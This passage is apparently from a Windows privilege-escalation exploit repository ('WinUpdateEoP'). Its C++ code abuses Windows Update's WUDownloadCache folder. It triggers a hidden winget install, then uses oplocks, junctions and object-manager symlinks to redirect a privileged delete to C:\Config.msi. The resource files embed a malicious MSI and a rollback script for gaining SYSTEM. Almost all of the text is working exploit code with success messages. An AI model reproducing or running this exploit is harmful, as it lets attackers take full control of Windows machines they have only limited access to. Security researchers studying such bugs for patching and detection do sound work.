saved.\n"); drive = std::wstring(argv[1]); CreateDirectory((drive + L"\\WUDownloadCache").c_str(),NULL); Watch(); FileOpLock* oplock; printf("[+] Sleeping for 10 seconds.\n"); Sleep(10000); if (IfExists((drive + L"\\WUDownloadCache").c_str())) { if (!RemoveDirectory((drive + L"\\WUDownloadCache").c_str())) { printf("[-] Failed to remove directory.\n"); return -1; } } CreateDirectory((drive + L"\\WUDownloadCache").c_str(), NULL); CreateDirectory((drive + L"\\" + drivepath).c_str(), NULL); hDir2 = CreateFile((drive + drivepath).c_str(), DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED, NULL); if (hDir2 == INVALID_HANDLE_VALUE) { printf("[-] Cannot open directory: %ls\\%ls", drive.c_str(),drivepath); } CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)IfDeletedRemoveJunction, target, 0, NULL); oplock = FileOpLock::CreateLock(hDir2, cb0,false); if (oplock != NULL) { Trigger(); oplock->WaitForLock(INFINITE); } while (deleted != true) { Sleep(1000); }; printf("[+] Exploit successful.\n"); stage2(); pSetStorageSettings(0, 0, 2, 16); } void cb0() { printf("[+] Oplock!\n"); while (!Move(hDir2, drive.c_str(), NULL)) {} hDir3 = CreateFile((drive + L"WUDownloadCache").c_str(), FILE_WRITE_ATTRIBUTES, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL); CreateJunction(hDir3, L"\\RPC Control"); } void IfDeletedRemoveJunction(LPWSTR path) { wchar_t* token = std::wcstok(path, L":"); token = std::wcstok(nullptr, L":"); wchar_t file[MAX_PATH] = { 0x0 }; PFILE_NOTIFY_INFORMATION fi = NULL; HANDLE hh = CreateFile(L"C:\\", GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL); do { wchar_t buff[4096] = { 0 }; DWORD ret = 0; ReadDirectoryChangesW(hh, buff, 4096, TRUE, FILE_NOTIFY_CHANGE_DIR_NAME, &ret, NULL, NULL); fi = (PFILE_NOTIFY_INFORMATION)buff; if ((fi->Action == FILE_ACTION_REMOVED)) { DeleteJunction(hDir3); deleted = TRUE; } } while (deleted == FALSE); } bool IfExists(LPCWSTR path) { return GetFileAttributes(path) != INVALID_FILE_ATTRIBUTES; } VOID Watch() { HANDLE hDir = CreateFile(drive.c_str(), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_OPEN_REPARSE_POINT, NULL); PFILE_NOTIFY_INFORMATION fi = NULL; BOOL done = FALSE; CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Trigger, NULL, 0, NULL); do { wchar_t buff[4096] = { 0 }; DWORD ret = 0; ReadDirectoryChangesW(hDir, buff, 4096, TRUE, FILE_NOTIFY_CHANGE_DIR_NAME, &ret, NULL, NULL); fi = (PFILE_NOTIFY_INFORMATION)buff; if ((fi->Action == FILE_ACTION_ADDED) && (wcswcs(fi->FileName, L"WUDownloadCache\\"))) { swprintf(drivepath, L"%s", fi->FileName); wchar_t* token = wcstok(fi->FileName, L"\\"); token = std::wcstok(nullptr, L"\\"); swprintf(object, L"Global\\GLOBALROOT\\RPC Control\\%s", token); DosDeviceSymLink(object,L"\\??\\C:\\Config.msi"); done = true; } } while (done != TRUE); } void Trigger() { SHELLEXECUTEINFO sh; ZeroMemory(&sh, sizeof(sh)); sh.cbSize = sizeof(sh); sh.lpVerb = L"open"; sh.nShow = SW_HIDE; sh.lpFile = L"winget"; sh.lpParameters = L"install firefox -s msstore --disable-interactivity --accept-package-agreements --accept-source-agreements"; ShellExecuteEx(&sh); } BOOL CreateJunction(HANDLE hDir, LPCWSTR target) { HANDLE hJunction; DWORD cb; wchar_t printname[] = L""; if (hDir == INVALID_HANDLE_VALUE) { printf("[!] HANDLE invalid!\n"); return FALSE; } SIZE_T TargetLen = wcslen(target) * sizeof(WCHAR); SIZE_T PrintnameLen = wcslen(printname) * sizeof(WCHAR); SIZE_T PathLen = TargetLen + PrintnameLen + 12; SIZE_T Totalsize = PathLen + (DWORD)(FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer)); PREPARSE_DATA_BUFFER Data = (PREPARSE_DATA_BUFFER)malloc(Totalsize); Data->ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; Data->ReparseDataLength = PathLen; Data->Reserved = 0; Data->MountPointReparseBuffer.SubstituteNameOffset = 0; Data->MountPointReparseBuffer.SubstituteNameLength = TargetLen; memcpy(Data->MountPointReparseBuffer.PathBuffer, target, TargetLen + 2); Data->MountPointReparseBuffer.PrintNameOffset = (USHORT)(TargetLen + 2); Data->MountPointReparseBuffer.PrintNameLength = (USHORT)PrintnameLen; memcpy(Data->MountPointReparseBuffer.PathBuffer + wcslen(target) + 1, printname, PrintnameLen + 2); WCHAR dir[MAX_PATH] = { 0x0 }; if (DeviceIoControl(hDir, FSCTL_SET_REPARSE_POINT, Data, Totalsize, NULL, 0, &cb, NULL) != 0) { GetFinalPathNameByHandle(hDir, dir, MAX_PATH, 0); printf("[+] Junction %ls -> %ls created!\n", dir, target); free(Data); return TRUE; } else { printf("[!] Error: %d. Exiting\n", GetLastError()); free(Data); return FALSE; } } BOOL DeleteJunction(HANDLE handle) { REPARSE_GUID_DATA_BUFFER buffer = { 0 }; BOOL ret; buffer.ReparseTag = IO_REPARSE_TAG_MOUNT_POINT; DWORD cb = 0; IO_STATUS_BLOCK io; if (handle == INVALID_HANDLE_VALUE) { printf("[!] HANDLE invalid!\n"); return FALSE; } WCHAR dir[MAX_PATH] = { 0x0 }; if (DeviceIoControl(handle, FSCTL_DELETE_REPARSE_POINT, &buffer, REPARSE_GUID_DATA_BUFFER_HEADER_SIZE, NULL, NULL, &cb, NULL)) { GetFinalPathNameByHandle(handle, dir, MAX_PATH, 0); printf("[+] Junction %ls deleted!\n", dir); return TRUE; } else { printf("[!] Error: %d.\n", GetLastError()); return FALSE; } } BOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target) { if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH, object, target)) { printf("[+] Symlink %ls -> %ls created!\n", object, target); return TRUE; } else { printf("error :%d\n", GetLastError()); return FALSE; } } BOOL DelDosDeviceSymLink(LPCWSTR object, LPCWSTR target) { if (DefineDosDevice(DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH | DDD_REMOVE_DEFINITION | DDD_EXACT_MATCH_ON_REMOVE, object, target)) { printf("[+] Symlink %ls -> %ls deleted!\n", object, target); return TRUE; } else { printf("error :%d\n", GetLastError()); return FALSE; } } HANDLE myCreateDirectory(LPWSTR file, DWORD access, DWORD share, DWORD dispostion) { UNICODE_STRING ufile; HANDLE hDir; pRtlInitUnicodeString(&ufile, file); OBJECT_ATTRIBUTES oa = { 0 }; IO_STATUS_BLOCK io = { 0 }; InitializeObjectAttributes(&oa, &ufile, OBJ_CASE_INSENSITIVE, NULL, NULL); retcode = pNtCreateFile(&hDir, access, &oa, &io, NULL, FILE_ATTRIBUTE_NORMAL, share, dispostion, FILE_DIRECTORY_FILE | FILE_OPEN_REPARSE_POINT, NULL, NULL); if (!NT_SUCCESS(retcode)) { return NULL; } return hDir; } LPWSTR BuildPath(LPCWSTR path) { wchar_t ntpath[MAX_PATH]; swprintf(ntpath, L"\\??\\%s", path); return ntpath; } VOID load() { HMODULE ntdll = LoadLibraryW(L"ntdll.dll"); HMODULE storusage = LoadLibraryW(L"storageusage.dll"); if (ntdll != NULL || storusage != NULL) { pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(ntdll, "RtlInitUnicodeString"); pNtCreateFile = (_NtCreateFile)GetProcAddress(ntdll, "NtCreateFile"); pNtSetInformationFile = (_NtSetInformationFile)GetProcAddress(ntdll, "NtSetInformationFile"); pSetStorageSettings = (_SetStorageSettings)GetProcAddress(storusage, "SetStorageSettings"); } if (pRtlInitUnicodeString == NULL || pNtCreateFile == NULL || pNtSetInformationFile == NULL) { printf("Cannot load api's %d\n", GetLastError()); exit(0); } } BOOL Move(HANDLE hFile, std::wstring drive, LPCWSTR path) { if (hFile == INVALID_HANDLE_VALUE) { printf("[!] Invalid handle!\n"); return FALSE; } wchar_t tmpfile[MAX_PATH] = { 0x0 }; RPC_WSTR str_uuid; UUID uuid = { 0 }; UuidCreate(&uuid); UuidToString(&uuid, &str_uuid); if (path == NULL) { _swprintf(tmpfile, L"\\??\\%s\\%s", drive.c_str(), str_uuid); } else { _swprintf(tmpfile, L"\\??\\%s\\%s", drive.c_str(), path); } size_t buffer_sz = sizeof(FILE_RENAME_INFO) + (wcslen(tmpfile) * sizeof(wchar_t)); FILE_RENAME_INFO* rename_info = (FILE_RENAME_INFO*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY | HEAP_GENERATE_EXCEPTIONS, buffer_sz); IO_STATUS_BLOCK io = { 0 }; rename_info->ReplaceIfExists = TRUE; rename_info->RootDirectory = NULL; rename_info->Flags = 0x00000001 | 0x00000002 | 0x00000040; rename_info->FileNameLength = wcslen(tmpfile) * sizeof(wchar_t); memcpy(&rename_info->FileName[0], tmpfile, wcslen(tmpfile) * sizeof(wchar_t)); NTSTATUS status = pNtSetInformationFile(hFile, &io, rename_info, buffer_sz, 65); if (status != 0) { return FALSE; } return TRUE; } ================================================ FILE: WinUpdateEoP/resource.h ================================================ //{{NO_DEPENDENCIES}} // Microsoft Visual C++ generated include file. // Used by FolderOrFileDeleteToSystem.rc // #define IDR_RBS1 101 #define IDR_MSI1 102 #define IDR_RBF1 106 // Next default values for new objects // ================================================ FILE: WinUpdateEoP/resource.rc ================================================ // Microsoft Visual C++ generated resource script. // #include "resource.h" #define APSTUDIO_READONLY_SYMBOLS ///////////////////////////////////////////////////////////////////////////// // // Generated from the TEXTINCLUDE 2 resource. // #include "winres.h" ///////////////////////////////////////////////////////////////////////////// #undef APSTUDIO_READONLY_SYMBOLS ///////////////////////////////////////////////////////////////////////////// // English (United States) resources #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU) LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US #pragma code_page(1252) ///////////////////////////////////////////////////////////////////////////// // // RBF // #endif // English (United States) resources ///////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////// // English (United Kingdom) resources #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENG) LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_UK #pragma code_page(1252) #ifdef APSTUDIO_INVOKED ///////////////////////////////////////////////////////////////////////////// // // TEXTINCLUDE // 1 TEXTINCLUDE BEGIN "resource.h\0" END 2 TEXTINCLUDE BEGIN "#include ""winres.h""\r\n" "\0" END 3 TEXTINCLUDE BEGIN "\r\n" "\0" END #endif // APSTUDIO_INVOKED ///////////////////////////////////////////////////////////////////////////// // // RBS // IDR_RBS1 RBS "5eeabb3.rbs" ///////////////////////////////////////////////////////////////////////////// // // MSI // IDR_MSI1 MSI "Msi_EoP.msi" #endif // English (United Kingdom) resources ///////////////////////////////////////////////////////////////////////////// #ifndef APSTUDIO_INVOKED ///////////////////////////////////////////////////////////////////////////// // // Generated from the TEXTINCLUDE 3 resource. // ///////////////////////////////////////////////////////////////////////////// #endif // not APSTUDIO_INVOKED